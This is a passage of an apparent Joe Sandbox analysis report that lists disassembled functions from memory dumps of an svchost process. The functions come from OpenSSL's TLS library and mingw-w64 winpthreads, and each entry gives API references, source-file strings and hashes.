ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB476F18
OPENSSL_cleanse.LIBCRYPTO-3-X64 ref: 00007FFBAB476F39
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB476F8C
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB476FA4

Strings

ssl\record\methods\tls_common.c, xrefs: 00007FFBAB476F11, 00007FFBAB476F9D
tls_release_record, xrefs: 00007FFBAB476F05, 00007FFBAB476F91

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$L_cleanse
String ID: ssl\record\methods\tls_common.c$tls_release_record
API String ID: 4083992426-1180888099
Opcode ID: ce6f5598b709bcca41bbea653c1372b02795b9d4b4eeceb60e7cf642e6725302
Instruction ID: f0e12c54d20e45821364d56a32877272944d10a5826e2df44bae82c9fa3f038b
Opcode Fuzzy Hash: ce6f5598b709bcca41bbea653c1372b02795b9d4b4eeceb60e7cf642e6725302
Instruction Fuzzy Hash: E73193A1E1A68281F7629B25E5443BC2361EF40784F548532EE2D47AB9CF3CE4D6C340

Function 00007FFBAB4988DF Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 59COMMON

Download Yara Rule

APIs

BIO_clear_flags.LIBCRYPTO-3-X64 ref: 00007FFBAB4987C5
BIO_set_flags.LIBCRYPTO-3-X64 ref: 00007FFBAB4987D2
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49890C
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB498924

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

Strings

, xrefs: 00007FFBAB498974
ossl_statem_server_read_transition, xrefs: 00007FFBAB498911
ssl\statem\statem_srvr.c, xrefs: 00007FFBAB49891D

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_clear_flagsO_set_flagsR_newR_set_debugR_vset_error
String ID: $ossl_statem_server_read_transition$ssl\statem\statem_srvr.c
API String ID: 3455785776-558299289
Opcode ID: 5309a46375283aba9f8edbf05b48b0ae9d144b1539daf3d949c8e52d03f0505f
Instruction ID: 92cec74b9b303d5b90300ec7fdd6cfd63411e36d02e1e91ed1a0c92677d2bbdd
Opcode Fuzzy Hash: 5309a46375283aba9f8edbf05b48b0ae9d144b1539daf3d949c8e52d03f0505f
Instruction Fuzzy Hash: 992181B1F0A14646FBA69B79D4813BD2791EF80784F488035CE6C4A6E6CF7DD8C58311

Function 00007FFBAB480A40 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB480A83
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB480A9B
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB480AD6
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB480AE2
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB480AFA

Strings

ssl\statem\extensions_clnt.c, xrefs: 00007FFBAB480A94, 00007FFBAB480AF3
tls_parse_stoc_maxfragmentlen, xrefs: 00007FFBAB480A8D, 00007FFBAB480AE7

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_new$R_set_debug
String ID: ssl\statem\extensions_clnt.c$tls_parse_stoc_maxfragmentlen
API String ID: 476316267-3788999166
Opcode ID: 7e4d5114516147d18e49989adc8dec87ee4ae1268be9232874c7db3ce5da3604
Instruction ID: c368f4e47a82bcac8292f908259f17ed13aecb5b2fca0d6e2a52ebbd85f22337
Opcode Fuzzy Hash: 7e4d5114516147d18e49989adc8dec87ee4ae1268be9232874c7db3ce5da3604
Instruction Fuzzy Hash: 7E11B2E1A0A68282F7639BB1E8526FD2750EF50740F84C432DE2C437A2DE2CD5DAC710

Function 00007FFBAB41C920 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 53COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB417E10), ref: 00007FFBAB41C972
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB417E10), ref: 00007FFBAB41C98A
ERR_set_error.LIBCRYPTO-3-X64(?,00007FFBAB417E10), ref: 00007FFBAB41C997
OPENSSL_sk_new_null.LIBCRYPTO-3-X64(?,00007FFBAB417E10), ref: 00007FFBAB41C9BC
OPENSSL_sk_push.LIBCRYPTO-3-X64(?,00007FFBAB417E10), ref: 00007FFBAB41C9D0

Strings

ssl\ssl_cert.c, xrefs: 00007FFBAB41C983
ssl_cert_add0_chain_cert, xrefs: 00007FFBAB41C977

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: L_sk_new_nullL_sk_pushR_newR_set_debugR_set_error
String ID: ssl\ssl_cert.c$ssl_cert_add0_chain_cert
API String ID: 378185551-2634322016
Opcode ID: 00f0f72a073b363657b12c8ebfdd79dfed386b1c4b339f38e259dc3f9435ebfd
Instruction ID: 87e9c23a61256ca56aaf60e54e9b8070422fd6d92482dfd505c422836c575749
Opcode Fuzzy Hash: 00f0f72a073b363657b12c8ebfdd79dfed386b1c4b339f38e259dc3f9435ebfd
Instruction Fuzzy Hash: D81196B2E1F64285FB529F35E8422BD33A4EF44B80F188436DE6D47BA6DE3CE4458600

Function 00007FFBAB494240 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB48A1CB), ref: 00007FFBAB49425E
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB48A1CB), ref: 00007FFBAB494276

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

EVP_MD_CTX_copy_ex.LIBCRYPTO-3-X64(?,00007FFBAB48A1CB), ref: 00007FFBAB49429F
ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB48A1CB), ref: 00007FFBAB4942A8
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB48A1CB), ref: 00007FFBAB4942C0

Strings

ssl\statem\statem_lib.c, xrefs: 00007FFBAB49426F, 00007FFBAB4942B9
tls13_restore_handshake_digest_for_pha, xrefs: 00007FFBAB494263, 00007FFBAB4942AD

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$R_vset_errorX_copy_ex
String ID: ssl\statem\statem_lib.c$tls13_restore_handshake_digest_for_pha
API String ID: 3076243290-100768352
Opcode ID: 44c5da9a5be5b51cd41812c578017f2e6ff4d75699e91a16c019f407d749e792
Instruction ID: 1042e392715a135cc6b29d32d885e35b76d67a68e1366c3653ada29531a06ab0
Opcode Fuzzy Hash: 44c5da9a5be5b51cd41812c578017f2e6ff4d75699e91a16c019f407d749e792
Instruction Fuzzy Hash: 02015EE1F5A14282F763E7B3D8926FD1350AF84784F448432DE2C876B2EE5DA5CA8351

Function 00007FFBAB424900 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

EVP_PKEY_get_security_bits.LIBCRYPTO-3-X64(00000000,00007FFBAB418521), ref: 00007FFBAB42491C
ERR_new.LIBCRYPTO-3-X64(00000000,00007FFBAB418521), ref: 00007FFBAB42493D
ERR_set_debug.LIBCRYPTO-3-X64(00000000,00007FFBAB418521), ref: 00007FFBAB424955
ERR_set_error.LIBCRYPTO-3-X64(00000000,00007FFBAB418521), ref: 00007FFBAB424966
EVP_PKEY_free.LIBCRYPTO-3-X64(00000000,00007FFBAB418521), ref: 00007FFBAB424983

Strings

SSL_CTX_set0_tmp_dh_pkey, xrefs: 00007FFBAB424942
ssl\ssl_lib.c, xrefs: 00007FFBAB42494E

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_errorY_freeY_get_security_bits
String ID: SSL_CTX_set0_tmp_dh_pkey$ssl\ssl_lib.c
API String ID: 2486296959-372487106
Opcode ID: be368217df21468efe549bbf785b2292c2266767b1b91b78b802f847ddedc9c1
Instruction ID: 382b2cf0b55689654126cc5817c39f67e83c2f0b9d231ac8f7c8eeb3e66b1cbd
Opcode Fuzzy Hash: be368217df21468efe549bbf785b2292c2266767b1b91b78b802f847ddedc9c1
Instruction Fuzzy Hash: 9E01B5B2B0998181E752D735F9826FD6360DB947C4F548031EE6C83BB6DE2CD4458700

Function 00007FFBAB4189FE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

OPENSSL_sk_new_null.LIBCRYPTO-3-X64 ref: 00007FFBAB418A0A
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB418A1B
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB418A33
OPENSSL_sk_push.LIBCRYPTO-3-X64 ref: 00007FFBAB418A48
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB418A51

Strings

ssl3_ctx_ctrl, xrefs: 00007FFBAB418A25
ssl\s3_lib.c, xrefs: 00007FFBAB418A2C

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_new$L_sk_new_nullL_sk_pushR_set_debug
String ID: ssl3_ctx_ctrl$ssl\s3_lib.c
API String ID: 2439357478-173183182
Opcode ID: 8e858106f05d7818566d941f3b10bfd3f940c0e90e5c8d6d87b27b6a6b9ba9dc
Instruction ID: 2a205a5819c6b61bb793590dd653fdc073225d3d70127e988eed9fa12ef43d51
Opcode Fuzzy Hash: 8e858106f05d7818566d941f3b10bfd3f940c0e90e5c8d6d87b27b6a6b9ba9dc
Instruction Fuzzy Hash: DBF067F0E0F60342FE63A772E4432B96341AF10784F04C436EC2C4A6E6EE2CE8854201

Function 00007FFBAB42E440 Relevance: 12.3, APIs: 8, Instructions: 256COMMON

Download Yara Rule

APIs

ERR_peek_error.LIBCRYPTO-3-X64(?,00000000,?), ref: 00007FFBAB42E4B1
BIO_test_flags.LIBCRYPTO-3-X64(?,00000000,?), ref: 00007FFBAB42E510
BIO_test_flags.LIBCRYPTO-3-X64(?,00000000,?), ref: 00007FFBAB42E523
BIO_test_flags.LIBCRYPTO-3-X64(?,00000000,?), ref: 00007FFBAB42E532
BIO_get_retry_reason.LIBCRYPTO-3-X64(?,00000000,?), ref: 00007FFBAB42E53E
BIO_test_flags.LIBCRYPTO-3-X64(?,00000000,?), ref: 00007FFBAB42E59D
BIO_test_flags.LIBCRYPTO-3-X64(?,00000000,?), ref: 00007FFBAB42E5C3
BIO_test_flags.LIBCRYPTO-3-X64(?,00000000,?), ref: 00007FFBAB42E5E9

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_test_flags$O_get_retry_reasonR_peek_error
String ID:
API String ID: 265086535-0
Opcode ID: 17ffcf18ff51bf8dbd1e57d29aca42afad4be13b509c6b8fdcd3179f73af6631
Instruction ID: 0bab99fded017d6f981207ad0769c20e7ab421051aabaab2f86b6bbbed3bc8a6
Opcode Fuzzy Hash: 17ffcf18ff51bf8dbd1e57d29aca42afad4be13b509c6b8fdcd3179f73af6631
Instruction Fuzzy Hash: DA9161B1E5E14282FEA68A39E14163D3398EF44B84F588531EE6D877A9DE1CEC819701

Function 64941EA0 Relevance: 12.2, APIs: 8, Instructions: 187synchronizationCOMMON

Download Yara Rule

APIs

WaitForMultipleObjects.KERNEL32 ref: 64941EE9
WaitForSingleObject.KERNEL32 ref: 64941F23
WaitForSingleObject.KERNEL32(?,?,?,?,?,00000070,00007FFBCB73F230,00007FFBCB73FAA0,00000068,?,649421DE,?,?,6494246F), ref: 64941F82
WaitForSingleObject.KERNEL32(?,?,?,?,?,00000070,00007FFBCB73F230,00007FFBCB73FAA0,00000068,?,649421DE,?,?,6494246F), ref: 6494209A
ResetEvent.KERNEL32 ref: 649420FD

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: Wait$ObjectSingle$EventMultipleObjectsReset
String ID:
API String ID: 654736092-0
Opcode ID: 96c9b5ad3ac0c7c7edf09851d5da80622a09f72e97e6fc1457996ee278957ded
Instruction ID: d3ee0eaab07988580939ca2428ce104d4a652107eb983c9cf61b1eb5acf66ab1
Opcode Fuzzy Hash: 96c9b5ad3ac0c7c7edf09851d5da80622a09f72e97e6fc1457996ee278957ded
Instruction Fuzzy Hash: 665114223D440041F7214667E94A3AA0A5FBB577ECF5401A2CF26CA6A1FBBDC5D2C226

Function 00007FFBAB428A70 Relevance: 12.1, APIs: 8, Instructions: 123COMMON

Download Yara Rule

APIs

OPENSSL_sk_num.LIBCRYPTO-3-X64 ref: 00007FFBAB428B2C
OPENSSL_sk_num.LIBCRYPTO-3-X64 ref: 00007FFBAB428B3C
OPENSSL_sk_num.LIBCRYPTO-3-X64 ref: 00007FFBAB428B5D
OPENSSL_sk_value.LIBCRYPTO-3-X64 ref: 00007FFBAB428B6B
OPENSSL_sk_find.LIBCRYPTO-3-X64 ref: 00007FFBAB428B79
OPENSSL_strnlen.LIBCRYPTO-3-X64 ref: 00007FFBAB428B89
memcpy.VCRUNTIME140 ref: 00007FFBAB428BA3
OPENSSL_sk_num.LIBCRYPTO-3-X64 ref: 00007FFBAB428BC0

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: L_sk_num$L_sk_findL_sk_valueL_strnlenmemcpy
String ID:
API String ID: 2509952571-0
Opcode ID: 03bc5eeada43cb13ffff46621ef564d7c29dbb84ccef4da5ce24b09471ca130c
Instruction ID: 60e88d51e0f449359601cd073c7e049840cb328ae19f56aa943495c5056010bc
Opcode Fuzzy Hash: 03bc5eeada43cb13ffff46621ef564d7c29dbb84ccef4da5ce24b09471ca130c
Instruction Fuzzy Hash: F0419FA2B0F65281EA669A27D94463E6F84EF41BD0F48C435EE2D977A5DF3CE441D300

Function 64942210 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 64942170: EnterCriticalSection.KERNEL32(00000120,00000000,00000068,00000000,?,?,6494246F,?,?,?,?,?,?,00000000,00000100,64943A89), ref: 6494219E
Part of subcall function 64942170: LeaveCriticalSection.KERNEL32(?,?,6494246F,?,?,?,?,?,?,00000000,00000100,64943A89,?,?,?,00000100), ref: 649421B1

TryEnterCriticalSection.KERNEL32 ref: 64942287
LeaveCriticalSection.KERNEL32 ref: 649422C3

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 64a14b26eebd602a32318612d1c73aaa2676a09661875bd3566d3150fd0f9fc1
Instruction ID: c70b7dd98fa8b30a946d7bfc7cacc3f56c823bbf88279334903176617df7d1a3
Opcode Fuzzy Hash: 64a14b26eebd602a32318612d1c73aaa2676a09661875bd3566d3150fd0f9fc1
Instruction Fuzzy Hash: 17318C2238060486EB149F76E9507DA2365BB86FECF884732CD69973E4DF35C859C351

Function 64946FF0 Relevance: 12.1, APIs: 8, Instructions: 88timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 64947015
GetThreadTimes.KERNEL32 ref: 64947037
GetCurrentProcess.KERNEL32 ref: 64947080
GetProcessTimes.KERNEL32 ref: 649470A2
_errno.MSVCRT ref: 649470AC
GetSystemTimeAsFileTime.KERNEL32 ref: 649470CC
QueryPerformanceFrequency.KERNEL32 ref: 649470F5
QueryPerformanceCounter.KERNEL32 ref: 64947104

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: CurrentPerformanceProcessQueryThreadTimeTimes$CounterFileFrequencySystem_errno
String ID:
API String ID: 3786581644-0
Opcode ID: 1cbd5dd333b386ab46c507ef65a2726135c869851dae07a2f01727df85f622f6
Instruction ID: 1c768bd9e69684d563be0dbbaa5e68889a0c424e9680141303368067254932ee
Opcode Fuzzy Hash: 1cbd5dd333b386ab46c507ef65a2726135c869851dae07a2f01727df85f622f6
Instruction Fuzzy Hash: A2318372755B8883DF09EF61E81036AB366FBD5B88F509126EA9A4B758EF3DC014C740

Function 00007FFBAB495080 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 149COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,?,?,00000000,-00000031,?,00007FFBAB488676), ref: 00007FFBAB4951A7
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,00000000,-00000031,?,00007FFBAB488676), ref: 00007FFBAB4951BF
ERR_new.LIBCRYPTO-3-X64(?,?,?,00000000,-00000031,?,00007FFBAB488676), ref: 00007FFBAB495242
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,00000000,-00000031,?,00007FFBAB488676), ref: 00007FFBAB49525A

Strings

ssl\statem\statem_lib.c, xrefs: 00007FFBAB4951B8, 00007FFBAB495253
tls_get_message_header, xrefs: 00007FFBAB4951AC, 00007FFBAB495247

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ssl\statem\statem_lib.c$tls_get_message_header
API String ID: 193678381-1127185309
Opcode ID: 8f0f2f9a1f104ec38d508048ab7801bae8aebf32c6308166d000d658e4fcaa8e
Instruction ID: f1ee16a66b92000932e657ecf5a4128b8cca4dabe9d6799109b758dae4b55e78
Opcode Fuzzy Hash: 8f0f2f9a1f104ec38d508048ab7801bae8aebf32c6308166d000d658e4fcaa8e
Instruction Fuzzy Hash: 50616CB2A0978286EB62CF75E4903BD37A0FB44B48F188036DFAD47665DF38E4518B11

Function 649415C0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 126COMMON

Download Yara Rule

APIs

__iob_func.MSVCRT ref: 64941608

Strings

Assertion failed: (%s), file %s, line %d, xrefs: 64941628
../../src/mingw-w64/mingw-w64-libraries/winpthreads/src/barrier.c, xrefs: 64941616
(((barrier_t *)*barrier)->valid == LIFE_BARRIER) && (((barrier_t *)*barrier)->busy > 0), xrefs: 64941621
&, xrefs: 6494160E

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: __iob_func
String ID: &$(((barrier_t *)*barrier)->valid == LIFE_BARRIER) && (((barrier_t *)*barrier)->busy > 0)$../../src/mingw-w64/mingw-w64-libraries/winpthreads/src/barrier.c$Assertion failed: (%s), file %s, line %d
API String ID: 686374508-3470151808
Opcode ID: 06c8006b2e40a1b02f2937bba9d3daa3392596c9965291c53121d202f0f451b8
Instruction ID: a6c690fc7c4ad125f6452d29da4510a78f9609d2262ab1e3dfa78bf125776778
Opcode Fuzzy Hash: 06c8006b2e40a1b02f2937bba9d3daa3392596c9965291c53121d202f0f451b8
Instruction Fuzzy Hash: FD41D13339160586EB20DB36E91436E6765E792BECF884121DE1E47764DF38C892C700

Function 00007FFBAB482490 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,?,?,00007FFBAB47CB02,?,00007FFBAB4350C9), ref: 00007FFBAB482551
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,00007FFBAB47CB02,?,00007FFBAB4350C9), ref: 00007FFBAB482569
ERR_new.LIBCRYPTO-3-X64(?,?,?,00007FFBAB47CB02,?,00007FFBAB4350C9), ref: 00007FFBAB4825EE
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,00007FFBAB47CB02,?,00007FFBAB4350C9), ref: 00007FFBAB482606

Strings

custom_ext_parse, xrefs: 00007FFBAB482556, 00007FFBAB4825F3
ssl\statem\extensions_cust.c, xrefs: 00007FFBAB482562, 00007FFBAB4825FF

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug
String ID: custom_ext_parse$ssl\statem\extensions_cust.c
API String ID: 193678381-3931677214
